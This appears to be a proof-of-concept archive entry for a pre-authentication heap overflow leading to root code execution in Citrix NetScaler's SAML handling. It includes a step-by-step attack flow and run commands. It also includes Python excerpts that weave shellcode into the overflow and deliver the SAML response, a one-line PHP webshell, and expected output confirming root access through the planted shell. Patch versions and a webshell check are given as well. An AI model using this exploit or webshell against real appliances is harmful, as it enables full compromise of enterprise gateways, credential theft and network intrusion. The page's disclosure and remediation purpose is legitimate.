PoC Archive PoC Archive
CVE-2026-8452 category: network CVSS 9.8 (CRITICAL)
Patched

Citrix NetScaler ADC/Gateway -- Pre-Auth SAML PrefixList Heap Overflow to RCE (CVE-2026-8452)

Published: 2026-08-16 • Researcher: Sina Kheirkhah (@SinSinology) of watchTowr

Target software Citrix NetScaler ADC and NetScaler Gateway
Affected versions NetScaler ADC/Gateway 14.1 before 14.1-72.61; NetScaler ADC/Gateway 13.1 before 13.1-63.18
Status Patched
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-8452
Category
network
Affected product
Citrix NetScaler ADC and NetScaler Gateway
Affected versions
NetScaler ADC/Gateway 14.1 before 14.1-72.61; NetScaler ADC/Gateway 13.1 before 13.1-63.18
Disclosed
2026-08-16
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-08-16
Last Updated2026-08-16
Author / ResearcherSina Kheirkhah (@SinSinology) of watchTowr
CVE / AdvisoryCVE-2026-8452
Categorynetwork
SeverityCritical
CVSS Score9.8 (estimated, pre-auth remote RCE)
StatusPatched
Tagscitrix, netscaler, adc, gateway, saml, heap-overflow, preauth, rce, shellcode, webshell, freebsd, xml-signature, c14n, CVE-2026-8452
Relatedpocs/network/2026-07-03_cve-2026-8451-citrix-netscaler-memory-leak/ (same product, different vuln)

Affected Target

FieldValue
Software / SystemCitrix NetScaler ADC and NetScaler Gateway
Versions AffectedNetScaler ADC/Gateway 14.1 before 14.1-72.61; NetScaler ADC/Gateway 13.1 before 13.1-63.18
Language / PlatformPython 3 (exploit), targets FreeBSD-based NetScaler appliances (x86-64)
Authentication RequiredNone – pre-authentication exploitation
Network Access RequiredRemote – requires HTTPS access to the NetScaler AAA/SAML endpoint

Summary

CVE-2026-8452 is a pre-authentication heap buffer overflow in the Citrix NetScaler ADC and Gateway SAML authentication handler. The vulnerability exists in the XML Signature Canonicalization (C14N) processing of the PrefixList attribute within SAML responses. An unauthenticated attacker can send a crafted SAML response with an oversized PrefixList value that overflows a heap buffer in the nsppe (NetScaler Packet Processing Engine) process, achieving arbitrary code execution as euid 0 (root) on the appliance.

The exploit initiates a legitimate SAML SP flow to obtain a valid AuthnRequest ID and ACS URL, then delivers a malicious SAML response containing embedded x86-64 FreeBSD shellcode within the PrefixList overflow payload. The shellcode writes a PHP webshell to the NetScaler VPN theme directory, giving the attacker persistent command execution on the appliance.

Vulnerability Details

Root Cause

The NetScaler AAA module processes incoming SAML responses by parsing their XML digital signatures. During XML Exclusive Canonicalization (exc-c14n), the PrefixList attribute of the InclusiveNamespaces element is parsed into a token array. The parser allocates a fixed-size heap buffer for the namespace prefix tokens but does not validate the total length of the PrefixList value. A crafted PrefixList containing many tokens overflows this buffer, corrupting adjacent heap metadata and objects.

The exploit uses the overflow to:

  1. Overwrite specific heap control structures at known offsets in the nsppe process memory (pool at 0x112d30000)
  2. Redirect a memcpy destination pointer to place shellcode in a controlled memory region
  3. Overwrite a function pointer to redirect execution via jmp rax to the shellcode entry point

Attack Flow

  1. SP-initiated SAML flow: The attacker sends requests to /nf/auth/doAuthentication.do and follows redirects to obtain a SAML AuthnRequest, extracting the request ID and Assertion Consumer Service URL.
  2. Shellcode assembly: FreeBSD x86-64 shellcode is built using pwntools. It installs signal handlers (SIG_IGN for crash signals), opens /var/vpn/theme/x.php, writes a PHP webshell, and chmods it.
  3. PrefixList construction: The shellcode is woven into the gaps between token boundaries in a crafted PrefixList string, with short JMP instructions bridging blocked regions. Heap metadata overwrites are packed at specific offsets.
  4. SAML response delivery: A complete SAML response containing the malicious PrefixList is base64-encoded and POSTed to the ACS endpoint.
  5. Webshell access: The attacker polls /vpn/theme/x.php?0=uname+-a;id until the shell responds.

Impact

  • Pre-authentication remote code execution on the NetScaler appliance
  • Execution as euid 0 (root) / egid 0 (wheel)
  • Persistent webshell in the VPN theme directory
  • Full appliance compromise – credential theft, traffic interception, lateral movement into the internal network
  • Requires only SAML SP or IdP configuration on the NetScaler (common in enterprise deployments)

Environment / Lab Setup

Shell script
1
2
3
pip install pwntools capstone requests

python3 watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py --target https://<netscaler>:9443/

Proof of Concept

See watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py (274 lines, Python 3) in this folder – mirrored byte-for-byte from watchtowrlabs/watchTowr-vs-Citrix-Netscaler-PreAuth-RCE-CVE-2026-8452. The upstream README is preserved as upstream-README.md.

Step-by-Step Reproduction

  1. Set up a vulnerable NetScaler running version 13.1-30.52 with SAML SP configured.
  2. Install dependencies: pip install pwntools capstone requests
  3. Run the exploit: python3 watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py --target https://<netscaler>:9443/
  4. Verify: Access https://<netscaler>:9443/vpn/theme/x.php?0=id to confirm webshell.

Exploit Code

Shellcode layout into PrefixList gaps (bridging blocked regions with JMP trampolines):

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
for n, ins in enumerate(insns):
    need = len(ins)
    if n != len(insns) - 1:
        need += 2
    if gaps[g][1] - w < need:
        nxt = gaps[g + 1][0]
        pl[w]     = 0xEB
        pl[w + 1] = (nxt - w - 2) & 0xFF
        g += 1
        w = gaps[g][0]
    pl[w:w + len(ins)] = ins
    w += len(ins)

SAML response delivery:

Python
1
2
3
def deliver(s, acs, xml):
    body = "SAMLResponse=" + urllib.parse.quote(base64.b64encode(xml).decode())
    return s.post(acs, data=body, headers={"Content-Type": "application/x-www-form-urlencoded"})

Expected Output

Output
[*] Connecting to endpoint...
[*] target AAA service is responsive
[*] building shellcode
[+] shellcode size: 268 bytes
[*] triggering jmp rax to 0x112d30180
[*] sent..
[+] webshell will be at https://172.16.5.12:9443/vpn/theme/x.php?0=uname+-a;id
[+] web shell output:

FreeBSD something 11.4-NETSCALER-13.1 ... amd64
uid=65534(nobody) gid=65534(nobody) euid=0(root) egid=0(wheel) groups=0(wheel)

Detection and Indicators of Compromise

Output

Remediation

ActionDetail
PatchUpdate to NetScaler ADC/Gateway 14.1-72.61 or later (14.1 branch), or 13.1-63.18 or later (13.1 branch).
WorkaroundIf SAML SP/IdP is not required, disable SAML authentication on the NetScaler. Restrict access to the AAA virtual server to trusted IdP source IPs only.
VerificationCheck for webshells: find /var/vpn/theme/ -name '*.php'. Verify installed version: show ns version on the CLI.

References

Notes

Verified this session by reading the full exploit source (watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py, 274 lines). The exploit uses pwntools for FreeBSD x86-64 shellcode assembly and capstone for instruction splitting. The shellcode is purely local to the target appliance: it installs signal handlers (to survive crash signals during heap corruption), opens a file, writes a PHP webshell, and chmods it. The HTTP client uses only the requests library with a legacy SSL adapter for older NetScaler TLS stacks.

Malware screen – clean. No obfuscation, no remote downloaders, no credential exfiltration, no miners, no callbacks. All network traffic is directed solely at the user-specified target. The webshell drop (<?php echo(system($_GET[0])); ?>) is the intended exploitation outcome, not a side effect. No committed binaries – pure Python source.

Hardcoded offsets target NetScaler 13.1-30.52 specifically. Other versions would require offset adjustments.

Author: Sina Kheirkhah (@SinSinology) of watchTowr Labs – one of the most prolific and credible offensive security research teams. watchTowr has published numerous high-profile Citrix/Fortinet/Ivanti exploit chains. The repo uses their standard naming convention and includes the characteristic ASCII banner.